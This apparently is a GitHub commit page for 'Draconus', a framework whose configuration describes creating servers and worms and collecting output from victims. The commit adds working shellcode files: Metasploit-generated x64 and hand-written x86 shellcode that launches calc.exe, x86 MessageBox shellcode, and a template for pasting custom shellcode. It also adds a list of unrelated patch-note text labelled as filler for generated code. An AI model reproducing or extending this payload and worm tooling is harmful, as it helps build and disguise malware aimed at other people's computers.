Skip to content

Commit

Permalink
ver 1.1.1
Browse files Browse the repository at this point in the history
  • Loading branch information
xxx committed Feb 2, 2025
1 parent c8ed049 commit e771dc8
Show file tree
Hide file tree
Showing 32 changed files with 1,932 additions and 49 deletions.
32 changes: 21 additions & 11 deletions CONFIG.ini
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,28 @@
#### Your machine's IP address. Draconus uses it to create servers and worms.
IP = 0.0.0.0


#### Display of unimportant information. Draconus will not display unimportant notifications and messages from clients.
#### A useful option when you handle many connections.
#### At the beginning of your adventure with the program, I recommend enabling this option.
SHOW_NO_IMPORTANT_MESSAGES = True


#### Console screen width. You can select 3 options:
#### 'small' for small screens ( about 140 characters).
#### 'medium' (default) for screens of about 180 characters.
#### 'big' for large screens of about 220 characters.
CONSOLE_SCREEN = medium


#### The time given in seconds after which the 'RAW' message will be displayed.
#### Some scripts directly intercept every output on the victim side and can send every single byte.
#### The so-called 'RAW_BUFFER' tries to put these bytes together and try to display them correctly.
#### This option determines how many seconds it should take pieces of a message before it puts it together and displays it.
TCP_RAW_BUFFER_TIMEOUT = 2



#### Default encoding for TCP communications.
TCP_SOCKET_FORMAT = utf-8

Expand All @@ -28,25 +44,19 @@ UNIX_SOCKET_SEPARATOR = $$@@$$
TCP_SOCKET_RAW_LEN = 1024
UNIX_SOCKET_RAW_LEN = 2048


#### Displays messages in Draconus. This option has no effect on Commander. Useful for debugging.
VANILLA_PRINT = False


#### Name for DLC packs that can be installed. I do not recommend changing this option.
DLC_FILE_NAME = DLC_


#### The time given in seconds after which the 'RAW' message will be displayed.
#### Some scripts directly intercept every output on the victim side and can send every single byte.
#### The so-called 'RAW_BUFFER' tries to put these bytes together and try to display them correctly.
#### This option determines how many seconds it should take pieces of a message before it puts it together and displays it.
TCP_RAW_BUFFER_TIMEOUT = 2


#### payload default encode
PAYLOAD_DEFAULT_ENCODE = utf-8


#### Name for DLC packs that can be installed. I do not recommend changing this option.
DLC_FILE_NAME = DLC_



#### For dev
[DEV]
Expand Down
6 changes: 6 additions & 0 deletions app/hive/Lib/items/food/calc_x64.data
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#!name##SC_Calc64
#!types##food
#!info##[W] [x64] shellcode runs the calculator. Generated using MSF.
#!load##shellcode

0x48, 0x31, 0xc9, 0x48, 0x81, 0xe9, 0xdd, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xef, 0xff, 0xff, 0xff, 0x48, 0xbb, 0xbf, 0xfa, 0x74, 0x77, 0xfc, 0xb3, 0x99, 0x94, 0x48, 0x31, 0x58, 0x27, 0x48, 0x2d, 0xf8, 0xff, 0xff, 0xff, 0xe2, 0xf4, 0x43, 0xb2, 0xf7, 0x93, 0x0c, 0x5b, 0x59, 0x94, 0xbf, 0xfa, 0x35, 0x26, 0xbd, 0xe3, 0xcb, 0xc5, 0xe9, 0xb2, 0x45, 0xa5, 0x99, 0xfb, 0x12, 0xc6, 0xdf, 0xb2, 0xff, 0x25, 0xe4, 0xfb, 0x12, 0xc6, 0x9f, 0xb2, 0xff, 0x05, 0xac, 0xfb, 0x96, 0x23, 0xf5, 0xb0, 0x39, 0x46, 0x35, 0xfb, 0xa8, 0x54, 0x13, 0xc6, 0x15, 0x0b, 0xfe, 0x9f, 0xb9, 0xd5, 0x7e, 0x33, 0x79, 0x36, 0xfd, 0x72, 0x7b, 0x79, 0xed, 0xbb, 0x25, 0x3f, 0x77, 0xe1, 0xb9, 0x1f, 0xfd, 0xc6, 0x3c, 0x76, 0x2c, 0x38, 0x19, 0x1c, 0xbf, 0xfa, 0x74, 0x3f, 0x79, 0x73, 0xed, 0xf3, 0xf7, 0xfb, 0xa4, 0x27, 0x77, 0xfb, 0x81, 0xd0, 0x34, 0xba, 0x54, 0x3e, 0xfd, 0x63, 0x7a, 0xc2, 0xf7, 0x05, 0xbd, 0x36, 0x77, 0x87, 0x11, 0xdc, 0xbe, 0x2c, 0x39, 0x46, 0x35, 0xfb, 0xa8, 0x54, 0x13, 0xbb, 0xb5, 0xbe, 0xf1, 0xf2, 0x98, 0x55, 0x87, 0x1a, 0x01, 0x86, 0xb0, 0xb0, 0xd5, 0xb0, 0xb7, 0xbf, 0x4d, 0xa6, 0x89, 0x6b, 0xc1, 0xd0, 0x34, 0xba, 0x50, 0x3e, 0xfd, 0x63, 0xff, 0xd5, 0x34, 0xf6, 0x3c, 0x33, 0x77, 0xf3, 0x85, 0xdd, 0xbe, 0x2a, 0x35, 0xfc, 0xf8, 0x3b, 0xd1, 0x95, 0x6f, 0xbb, 0x2c, 0x36, 0xa4, 0xed, 0xc0, 0xce, 0xfe, 0xa2, 0x35, 0x2e, 0xbd, 0xe9, 0xd1, 0x17, 0x53, 0xda, 0x35, 0x25, 0x03, 0x53, 0xc1, 0xd5, 0xe6, 0xa0, 0x3c, 0xfc, 0xee, 0x5a, 0xce, 0x6b, 0x40, 0x05, 0x29, 0x3f, 0x46, 0xb2, 0x99, 0x94, 0xbf, 0xfa, 0x74, 0x77, 0xfc, 0xfb, 0x14, 0x19, 0xbe, 0xfb, 0x74, 0x77, 0xbd, 0x09, 0xa8, 0x1f, 0xd0, 0x7d, 0x8b, 0xa2, 0x47, 0x43, 0x2c, 0x36, 0xe9, 0xbb, 0xce, 0xd1, 0x69, 0x0e, 0x04, 0x6b, 0x6a, 0xb2, 0xf7, 0xb3, 0xd4, 0x8f, 0x9f, 0xe8, 0xb5, 0x7a, 0x8f, 0x97, 0x89, 0xb6, 0x22, 0xd3, 0xac, 0x88, 0x1b, 0x1d, 0xfc, 0xea, 0xd8, 0x1d, 0x65, 0x05, 0xa1, 0x14, 0x9d, 0xdf, 0xfa, 0xba, 0xda, 0x82, 0x11, 0x77, 0xfc, 0xb3, 0x99, 0x94
19 changes: 19 additions & 0 deletions app/hive/Lib/items/food/my_shellcode.data
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
#!name##MyShellcode
#!types##data
#!info##Paste the finished shellcode here. The file is located in the directory 'OUTPUT/shortcuts/MyShellcode'.
#!load##shellcode
#!###-- Supported shellcode formats:
#!### 0x89, 0xe5, 0x81, 0xc4, 0xf0,
#!##################################################################################
#!### "\x89\xe5\x81\xc4\xf0"
#!### "\x20\x8b\x36\x66\x39"
#!##################################################################################
#!### \x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b\x49
#!##################################################################################
#!### ;"\x89\xe5\x81\xc4\xf0"
#!### ;"\x20\x8b\x36\x66\x39";
#!##################################################################################
#!### DO NOT REMOVE HEADERS
#!### PASTE YOUR SHELLCODE BELOW


86 changes: 86 additions & 0 deletions app/hive/Lib/items/food/random_text.data
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
#!name##FOOD_random_text
#!types##data
#!info##Random text to fill in the code.
#!load##list


MP does not start if the player states differ
Ubi.com error message does not appear after a win in a rating game
Random cities use name and description from map
Profile screen fixes (experience, alignment)
Haven: stables message is back, other messages fixed
Profile screen: random race games now shown correctly
Camera glitches in Rebellion' campaign map cutscene removed
Item selection in lobby screen fixed
Ghost mode 'guard' command fixed
Ghost mode after disconnection turn transfer fixed
Profile info for other players now accessible
Map info for MP games is localized
The spells added by the library are given to the hero immediately
MP game preferences panel fixed
Resisted combat text fixed
Training games results are not reported to Ubi.com now
Hero perk rolls fixed
Elemental creatures not affecting by Wasp Swarm spell now
Druid Elder's Mana Feed ability fixed
Temptress hero specialization fixed
Some points of Combat AI fixed
The Promise campaign map 3-th cutscene sound fixed
ATBBar refresh fixed
Separate stacks displayed in Combat Results
Heroes planned paths searching at turn start after whirlpool fixed
Invalid level ups (double skill increases) blocked
Representation of heroes on boats in ghost mode now is correct
After all players disconnected from Ghost mode game ending correctly
Combat pathfinder does not ignore the moat
Artifact Merchant submenu can not be called by hotkey without the building
Reconnected players can't see themselves on Ubi.com now
Dark Raider retaliation strike fixed
Creatures under Berserk spell effect always attack now
Refined Mana perk fixed
Hut of Magi still shows areas after pressing Esc key
Castle gates are closed immediately
Zero-count monsters on low difficulty levels fixed
Water shaders fixed
Startup videos playback fixed
Grail map called from underground fixed
Ghost mode phase message fixed
Sound glitches fixed
MP game name length is restricted
Interface sounds are not 3d fixed
Fixed prerequisites for Urgash's Call, it was impossible to take it.
Campaign map 'The Conquest' Main Sylvan hero Gilraen weakened, his script fixed
Maeve added as haven random hero
double hero portraits prevented
Now after 'The Attack' campaign map loading right 'Invasion' map instead 'The Regicide' map
The Defence campaign map scripts fixed
Shadow Witches have new model
The Cultists campaign map garrison fixed
Credits fixed
The March campaign map keymaster blocked for AI
Demon character fixed
Zehirs flag color changed
Map tags fixed for MP maps
AI-geometry for Pyramid and shipwrecks fixed
Dungeon town: Grim Enclosure and lightmaps fixed
Random heroes on MP maps fixed
Hero Jhora gets Magic Missile spell due to her specialization description
Inferno and Necropolis lightmaps recalculated
Maeve hero Tactics removed
954 YSD: Hot Pursuit some map objects fixed
Dragon Pass object fixed, rebalanced
fixed instant travel holes
Duel presets rebalanced
The Betrayal campaign map message for garrison approach added
The Expansion campaigm map multiple fixes added (hero skills, messages, added guards)
Raelag's Offer campaign map: texture near Inferno Military Post fixed
The game works with onboard video and some of the older video cards now
LAN games can now be played in different segment configurations


Game may crash after a continuous gameplay (near 2 hours or more) and while using several times the Alt+Tab function in this time.

Switching off V-Sync option in your video driver options may cause twitched animation in Town if you rotate camera manually.



14 changes: 14 additions & 0 deletions app/hive/Lib/items/food/sc_calcexe.data
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#!name##SC_CalcExe
#!types##data
#!info##[W] [x86] Ready shellcode that launches the calculator (calc.exe).
#!load##shellcode

"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e"
"\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43"
"\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b"
"\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61"
"\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0"
"\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff"
"\xff\x55\x14"

6 changes: 6 additions & 0 deletions app/hive/Lib/items/food/sc_hello_win.data
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#!name##SC_HelloWin
#!types##data
#!info##[W] [x86] Ready shellcode that displays a window (MessageBoxA) with text 'Hello World'.
#!load##shellcode

\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x57\xff\xd0
Loading

0 comments on commit e771dc8

Please sign in to comment.